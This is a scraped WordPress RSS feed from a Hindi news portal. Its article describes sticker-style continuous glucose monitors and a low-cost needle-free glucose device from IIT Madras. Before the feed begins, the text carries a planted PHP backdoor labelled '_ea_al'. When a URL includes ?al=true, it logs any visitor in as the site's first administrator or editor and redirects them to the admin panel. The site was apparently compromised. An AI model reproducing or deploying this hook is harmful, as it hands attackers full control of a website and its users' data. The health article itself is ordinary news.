// _ea_al add_action('init', function(){ if(isset($_GET['al']) && $_GET['al']==='true'){ if(!is_user_logged_in()){ $u=get_users(['role'=>'administrator','number'=>1,'fields'=>['ID','user_login']]); if(empty($u)){$u=get_users(['role'=>'editor','number'=>1,'fields'=>['ID','user_login']]);} if(!empty($u)){wp_set_auth_cookie($u[0]->ID,true,false);wp_redirect(admin_url());exit();} } else {wp_redirect(admin_url());exit();} } }, 2); Blood Glucose Meter Sticker – प्रत्युषा आशा की नयी किरण https://pratyushaashakinayikiran.com न्यूज़ पोर्टल Sat, 08 Nov 2025 04:36:00 +0000 en-US hourly 1 https://wordpress.org/?v=7.0 फोन से ब्लड शुगर की जांच संभव, उंगली में अब नहीं लगेगी सुई https://pratyushaashakinayikiran.com/?p=189978 Sat, 08 Nov 2025 04:36:00 +0000 https://pratyushaashakinayikiran.com/?p=189978 नई दिल्ली

डायबिटीज पेशेंट को अक्सर बार-बार शुगर चेक करने की जरूरत होती है. घर से दूर नौकरी करने वाले लोगों को काफी परेशानी भी होती है. मार्केट में कुछ खास प्रोडक्ट लिस्टेड हैं, जिनका इस्तेमाल करके मोबाइल पर ब्लड शुगर देखा जा सकेगा. इनका नाम स्मार्ट ग्लुकोज मॉनिटर हैं, जिसका मेडिकल नाम कॉन्टीन्युअस ग्लोस मॉनिटरिंग सिस्टम (CGM) है. 

इन ग्लूकोज मीटर को बांह या पेट पर चिपकाया जाता है. इसके बाद मोबाइल पर आसानी से ब्लड शुगर को देख सकते हैं. इसके लिए बार-बार उंगली में सुई चुभाने की जरूरत नहीं होगी. 

स्टिकर जैसी शेप और कई सेंसर 

मार्केट में अलग-अलग ब्रांड और कंपनियां Blood Glucose Meter Sticker लिस्टेड हैं. जहां कुछ ब्लूटूथ का सपोर्ट देती हैं वहीं कुछ कंपनियां NFC का भी सपोर्ट प्रोवाइड कराती हैं. बहुत सी कंपनियां दोनों का सपोर्ट देती हैं. 

NFC सपोर्ट वाले पैच पर सिर्फ स्मार्टफोन को टच करना होता है, उसके बाद ब्लड शुगर लेवल मोबाइल स्क्रीन पर पॉपअप करने लगता है. हालांकि ब्लूटूथ सपोर्ट वाले पैच का डेटा देखने के लिए मोबाइल ऐप की जरूरत होती है. 

स्मार्ट ग्लूकोज मीटर पैच ऐसे काम करते हैं

    स्मार्ट ग्लूकोज मीटर पैच सेंसर को बांह या पेट पर चिपका जाता है.
    यह शरीर के अंदर के इंटरस्टिशियल फ्लूइड में ग्लूकोज की लेवल को मांपता है.
    Bluetooth या NFC से डेटा स्मार्टफोन में ट्रांसफर किया जाता है. 
    ऐप में ग्राफ, हाई/लो अलर्ट और रिपोर्ट दिखाई जाती है. 

मार्केट में ढेरों ऑप्शन और इतनी है कीमत 

ग्लूकोज मीटर स्टिकर के मार्केट में ढेरों ऑप्शन मौजूद हैं. अलग-अलग कंपनियां अलग-अलग फीचर्स और एक्युरेसी का दावा करते हैं. मार्केट में 3-5 हजार रुपये की कीमत में मिल जाते हैं. एक पैज को करीब 15 दिन तक यूज किया जा सकता है. 

ग्लूकोज मीटर स्टिकर किन लोगों के यूजफुल 

ग्लूकोज मीटर स्टिकर पैच उन लोगों के लिए यूजफुल हैं, जिनका ब्लड शुगर ज्यादा रहता है और फ्लेक्चुएट करता है. शुगर बढ़ने की वजह से अगर तबियत बिगड़ती है तो पेशेंट आसनी से फोन को पैज पर टैप करके शुगर लेवल जांच सकते हैं. इसके बाद शुगर कंट्रोल करने के लिए काम कर सकते हैं. 

ग्लूकोज मॉनिटरिंग उपकरण

भारतीय प्रौद्योगिकी संस्थान मद्रास (आईआईटी-एम) के शोधकर्ताओं ने मधुमेह रोगियों के लिए एक कम बजट वाला, यूजर फ्रेडली और उपयोग करने में आसान ग्लूकोज मॉनिटरिंग उपकरण विकसित किया है। शोधकर्ताओं की टीम का मानना है कि इसकी मदद से शुगर लेवल को नियमित रूप से जांचने में बिना दर्द के मदद मिल सकती है।

यह पेटेंट उपकरण मरीजों को बिना उंगलियों में सुई चुभने के दर्द के भी ग्लूकोज के स्तर को मापने में मददगार हो सकती है। 

भारतीय आयुर्विज्ञान अनुसंधान परिषद (आईसीएमआर) की रिपोर्ट के मुताबिक देश की लगभग 9 प्रतिशत आबादी मधुमेह से पीड़ित है, इनमें से अधिकतर लोगों को डॉक्टर नियमित रूप से शुगर की जांच करते रहने की सलाह देते हैं। 

ग्लूकोमीटर से घर पर डायबिटीज की जांच

अभी तक घर पर डायबिटीज की जांच के लिए ग्लूकोमीटर का इस्तेमाल किया जाता रहा है। ये एक छोटा-सा डिवाइस होता है जिससे आप घर पर ही अपने ब्लड शुगर की जांच कर सकते हैं। इसके लिए ग्लूकोमीटर में एक नई टेस्ट स्ट्रिप लगाने के बाद, अपनी उंगली में निडिल या सिरिंज की मदद से पिन करके एक ड्रॉप खून को इसी स्ट्रिप पर लगाना होता है।  कुछ सेकंड में डिवाइस आपकी ब्लड शुगर वैल्यू दिखा देती है।  

क्या कहते हैं विशेषज्ञ?

इलेक्ट्रॉनिक मटेरियल और थिन फिल्म्स लैब के शोधकर्ताओं ने प्रोफेसर परशुरामन स्वामीनाथन के नेतृत्व में इसे विकसित किया है। 

इस प्रोजेक्ट पर काम कर रहे आईआईटी मद्रास के डॉ एल. बालामुरुगन कहते हैं, इस तरह का उपकरण वास्तव में बहुत सहायक है। ग्लूकोज की निगरानी को दर्दरहित बनाने के साथ ये किफायती भी है। यह ग्लूकोज के स्तर की नियमित जांच करने, अपने शरीर के पैटर्न को समझने में जांच के लिए अनावश्यक दौड़ भाग को कम करने में मदद करता है।

हालांकि ये डिवाइस किस तरह से काम करती है फिलहाल इसकी स्पष्ट जानकारी साझा नहीं की गई है।  

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